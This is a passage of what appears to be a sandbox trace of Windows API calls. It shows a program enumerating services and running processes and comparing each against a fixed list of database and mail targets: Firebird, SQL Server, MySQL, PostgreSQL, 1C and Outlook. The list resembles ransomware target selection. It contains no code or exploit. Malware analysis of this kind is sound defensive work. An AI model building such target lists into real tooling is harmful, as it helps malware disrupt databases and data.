lpString2="EventSystem") returned 1 [0071.687] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0071.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0071.687] lstrlenW (lpString="gpsvc") returned 5 [0071.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0071.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0071.687] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0071.687] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0071.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0071.688] lstrlenW (lpString="iphlpsvc") returned 8 [0071.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0071.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0071.688] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0071.688] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0071.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0071.688] lstrlenW (lpString="LanmanServer") returned 12 [0071.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0071.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0071.688] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0071.688] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0071.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0071.688] lstrlenW (lpString="LanmanWorkstation") returned 17 [0071.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0071.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0071.688] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0071.688] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0071.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0071.688] lstrlenW (lpString="lmhosts") returned 7 [0071.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0071.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0071.688] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0071.688] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0071.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0071.688] lstrlenW (lpString="MMCSS") returned 5 [0071.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0071.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0071.689] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0071.689] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0071.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0071.689] lstrlenW (lpString="MpsSvc") returned 6 [0071.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0071.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0071.689] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0071.689] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0071.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0071.689] lstrlenW (lpString="Netman") returned 6 [0071.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0071.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0071.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0071.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0071.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0071.689] lstrlenW (lpString="netprofm") returned 8 [0071.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0071.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0071.689] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0071.689] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0071.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0071.689] lstrlenW (lpString="NlaSvc") returned 6 [0071.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0071.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0071.690] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0071.690] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0071.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0071.690] lstrlenW (lpString="nsi") returned 3 [0071.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0071.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0071.690] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0071.690] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0071.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0071.690] lstrlenW (lpString="PcaSvc") returned 6 [0071.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0071.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0071.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0071.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0071.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0071.690] lstrlenW (lpString="PlugPlay") returned 8 [0071.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0071.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0071.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0071.691] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0071.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0071.691] lstrlenW (lpString="Power") returned 5 [0071.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0071.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0071.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0071.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0071.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0071.691] lstrlenW (lpString="ProfSvc") returned 7 [0071.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0071.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0071.691] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0071.691] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0071.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0071.691] lstrlenW (lpString="RpcEptMapper") returned 12 [0071.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0071.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0071.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0071.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0071.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0071.691] lstrlenW (lpString="RpcSs") returned 5 [0071.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0071.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0071.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0071.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0071.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0071.691] lstrlenW (lpString="SamSs") returned 5 [0071.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0071.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0071.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0071.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0071.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0071.692] lstrlenW (lpString="Schedule") returned 8 [0071.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0071.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0071.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0071.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0071.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0071.692] lstrlenW (lpString="SENS") returned 4 [0071.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0071.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0071.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0071.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0071.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0071.692] lstrlenW (lpString="ShellHWDetection") returned 16 [0071.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0071.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0071.692] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0071.692] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0071.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0071.692] lstrlenW (lpString="Spooler") returned 7 [0071.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0071.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0071.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0071.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0071.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0071.693] lstrlenW (lpString="swprv") returned 5 [0071.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0071.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0071.693] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0071.693] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0071.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0071.693] lstrlenW (lpString="SysMain") returned 7 [0071.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0071.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0071.693] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0071.693] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0071.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0071.693] lstrlenW (lpString="Themes") returned 6 [0071.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0071.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0071.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0071.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0071.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0071.693] lstrlenW (lpString="TrkWks") returned 6 [0071.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0071.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0071.693] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0071.693] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0071.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0071.693] lstrlenW (lpString="UxSms") returned 5 [0071.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0071.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0071.694] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0071.694] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0071.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0071.694] lstrlenW (lpString="VSS") returned 3 [0071.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0071.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0071.694] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0071.694] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0071.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0071.694] lstrlenW (lpString="WdiServiceHost") returned 14 [0071.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0071.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0071.694] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0071.694] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0071.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0071.694] lstrlenW (lpString="WdiSystemHost") returned 13 [0071.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0071.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0071.694] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0071.694] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0071.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0071.694] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0071.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0071.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0071.695] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0071.695] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0071.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0071.695] lstrlenW (lpString="Winmgmt") returned 7 [0071.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0071.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0071.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0071.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0071.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0071.695] lstrlenW (lpString="WPDBusEnum") returned 10 [0071.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0071.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0071.695] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0071.695] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0071.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0071.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0071.695] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0071.701] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.702] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0071.703] lstrlenW (lpString="System") returned 6 [0071.703] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0071.703] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0071.703] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0071.703] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0071.703] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0071.703] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0071.703] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0071.703] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0071.704] lstrlenW (lpString="smss.exe") returned 8 [0071.704] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0071.704] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0071.704] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0071.704] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0071.704] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0071.704] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0071.704] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0071.704] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.705] lstrlenW (lpString="csrss.exe") returned 9 [0071.705] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0071.705] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0071.705] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0071.705] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0071.705] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0071.705] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0071.705] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0071.705] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0071.706] lstrlenW (lpString="wininit.exe") returned 11 [0071.706] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0071.706] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0071.706] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0071.706] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.706] lstrlenW (lpString="csrss.exe") returned 9 [0071.706] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0071.707] lstrlenW (lpString="winlogon.exe") returned 12 [0071.707] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0071.708] lstrlenW (lpString="services.exe") returned 12 [0071.708] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0071.708] lstrlenW (lpString="lsass.exe") returned 9 [0071.708] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0071.709] lstrlenW (lpString="lsm.exe") returned 7 [0071.709] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.710] lstrlenW (lpString="svchost.exe") returned 11 [0071.710] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.710] lstrlenW (lpString="svchost.exe") returned 11 [0071.710] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.711] lstrlenW (lpString="svchost.exe") returned 11 [0071.711] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.712] lstrlenW (lpString="svchost.exe") returned 11 [0071.712] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.712] lstrlenW (lpString="svchost.exe") returned 11 [0071.712] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0071.713] lstrlenW (lpString="audiodg.exe") returned 11 [0071.713] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.714] lstrlenW (lpString="svchost.exe") returned 11 [0071.714] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.714] lstrlenW (lpString="svchost.exe") returned 11 [0071.714] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0071.715] lstrlenW (lpString="dwm.exe") returned 7 [0071.715] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0071.716] lstrlenW (lpString="explorer.exe") returned 12 [0071.716] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0071.716] lstrlenW (lpString="spoolsv.exe") returned 11 [0071.716] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.065] lstrlenW (lpString="svchost.exe") returned 11 [0072.066] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0072.066] lstrlenW (lpString="taskhost.exe") returned 12 [0072.066] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, 